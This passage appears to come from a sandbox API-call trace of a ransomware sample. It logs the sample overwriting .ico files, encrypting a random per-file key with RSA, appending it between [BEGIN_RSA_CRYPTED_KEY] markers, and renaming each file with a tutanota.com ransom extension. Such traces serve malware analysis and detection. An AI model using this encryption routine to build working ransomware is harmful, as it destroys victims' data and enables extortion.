HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.586] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Rotate8.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0142.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0142.587] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0142.587] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.587] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.587] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate7.ico", dwFileAttributes=0x80) returned 1 [0142.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0142.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0142.588] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0142.588] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.588] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=894) returned 1 [0142.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x37e) returned 0x5b5a90 [0142.588] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x37e) returned 0x5b5e18 [0142.588] ReadFile (in: hFile=0x4f0, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0142.602] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.602] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5e18*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5e18*, lpNumberOfBytesWritten=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0142.602] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.602] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5e18 | out: hHeap=0x570000) returned 1 [0142.602] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x37e [0142.602] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.602] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.602] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.602] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.603] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.603] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.603] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="2FKMZGauU0wQ28CZSarNPlmNAv4xVpWPFeA8iMzCpNFvYq27uElKnSZ3vHVBsbhg\n7r+BXuGFZEDITIYMhFDwq9a1P/Qaw6UTeLxJ3q8gXQg2XncsY3X3Y/esOD1lnxnl\nZMrzQpYQbfSLidn8H54WHiA1f75MaqturHao5hqgK3ZO91EBgfOG0f6dfaplOSZc\nMtRfxvMCWzErvE8erfzdp+YE0htITCj49xbnoEGNPj94ZGkzmsk4CX7AEB0xLBt7\nHzF/ReAR4X4G66+2sp2JK9NdfDA4eqzL6jTlR3tumx65YWQcPmTgIUsMCnQ6r+rl\nWk0lTo6YMsFQGc5sGzhmpQ==\n", pcchString=0x2e3f9a8) returned 1 [0142.603] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.603] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.603] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.603] CloseHandle (hObject=0x4f0) returned 1 [0142.603] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.603] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Rotate7.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.604] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.604] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.604] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0142.604] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0142.604] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6778 [0142.605] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.605] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.605] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate6.ico", dwFileAttributes=0x80) returned 1 [0142.605] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0142.605] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0142.605] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0142.605] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.605] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=894) returned 1 [0142.605] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x37e) returned 0x5b5a90 [0142.605] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x37e) returned 0x5b5e18 [0142.605] ReadFile (in: hFile=0x4f0, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0142.627] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.627] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5e18*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5e18*, lpNumberOfBytesWritten=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0142.627] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.627] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5e18 | out: hHeap=0x570000) returned 1 [0142.627] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x37e [0142.627] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.627] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.627] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.627] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.628] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.628] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.628] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="CM3T4Zkf1/zEGDPkByvtWZuWGmsHgMkKJRKpNZD6STxLy4aPm8kPm09XUw6S3efV\nO3I5a2trCGDTlPUut6zmVZAS2Mx5xk6xHCnPSRfQagkYD5jp+UEvqm3//WEMxpKO\nN6Voviu67ZHc/UZd+ZsR/17tWn3DtIHTzSat8CU24zNg6ZuteNUAvemo+EKz8HJO\n/Cfvj9Bu0lJbZwXxe4VYine9WbKnjc0vZYRMS1e3fNknsmViPiybehby7Ajxnh7e\nB2sBe2lvVTaY8nIQkirFweLYu2Kgn9VBQMeLTstA9gEwtVWUA8plMmYobme68s5q\njYyRTDMjkrwEAFc14+glPg==\n", pcchString=0x2e3f9a8) returned 1 [0142.628] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.628] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.628] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.628] CloseHandle (hObject=0x4f0) returned 1 [0142.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.628] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Rotate6.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.629] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.629] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0142.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0142.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0142.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.630] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.630] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate5.ico", dwFileAttributes=0x80) returned 1 [0142.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0142.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0142.630] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0142.630] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.630] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=894) returned 1 [0142.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x37e) returned 0x5b5a90 [0142.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x37e) returned 0x5b5e18 [0142.630] ReadFile (in: hFile=0x4f0, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0142.643] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.643] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5e18*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5e18*, lpNumberOfBytesWritten=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0142.643] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.644] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5e18 | out: hHeap=0x570000) returned 1 [0142.644] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x37e [0142.644] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.644] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.644] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.644] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.644] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.644] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="4oN+EE9zFbDnW7SXfSVk6Mp+50UUr6YmiT1eWQJ0WXKCJGE+sm0LNlr/r6jYEsKk\naFp4sK+Hkg2fmBuplJ2ITI+Od5fllf13YmpbJ+TE5PuDsKtQ/zY5+owOytyFTY3A\n9+lkQ9VL59gfd92PHW7qhnb1ade3FOLSmrULyRtvGmC1TnTMVlzBtZ474vdWWLDw\n0TpPs/ktgvkVFOdDdDsLae/AbcFR4eHG9eVSEbFcty9MJRtiZ4h6IJhsVGo3Ed8y\nX/jjy/EZckdm1ga4jSeYRXTHeU1i1VD4rMRkUTpFRcCsDytEaTIFtbMANcjKtQQz\nnZhP7ETSDUK7o99mZ78Ciw==\n", pcchString=0x2e3f9a8) returned 1 [0142.644] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.644] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.644] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.644] CloseHandle (hObject=0x4f0) returned 1 [0142.645] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.645] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Rotate5.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.646] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.646] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.646] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0142.646] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0142.646] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0142.647] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.647] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.647] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate4.ico", dwFileAttributes=0x80) returned 1 [0142.647] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0142.647] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0142.647] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0142.647] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.647] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=894) returned 1 [0142.647] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x37e) returned 0x5b5a90 [0142.647] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x37e) returned 0x5b5e18 [0142.647] ReadFile (in: hFile=0x4f0, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0142.649] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.649] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5e18*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5e18*, lpNumberOfBytesWritten=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0142.649] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.649] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5e18 | out: hHeap=0x570000) returned 1 [0142.649] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x37e [0142.649] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.649] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.649] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.649] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.650] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.650] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.650] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="R4IP9Hp/8dLPpHFjwkM/q0sVErZufMCkBXLq1otq2nwZy4+9iFzQnAXFbhlUVYKm\nde2ZnyijeC8p9GM7a1LmV5xk2gRIPk7WTZ/BpbyfC/WwvQUZ/OSsb/E8DSbliFNh\nju1EeqmzbuaovOIDh9/Re8HGAW1C6FZrK7OLuKBGI1f94r7QxswjbbmDCFNfZRxQ\n6dOm+33AKgW+RveNAczHXEiR4e93FUUeEc9BiXEKhhrHSz/r+G1IIqFh8DcoZh8+\ndPYZYq4gEPcN7WjKZhrqbzpKHpK2iKc6cY8444iEEqYOAQM4AJOvwy+APWZbJOOq\ntykAkxreBpDRYlBJ6ao+XA==\n", pcchString=0x2e3f9a8) returned 1 [0142.650] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.650] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.650] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.650] CloseHandle (hObject=0x4f0) returned 1 [0142.650] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.650] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Rotate4.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.652] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.652] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.652] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0142.652] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0142.652] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0142.652] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.652] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.652] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate3.ico", dwFileAttributes=0x80) returned 1 [0142.653] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0142.653] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0142.653] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0142.653] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.653] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e3f9b8 | out: 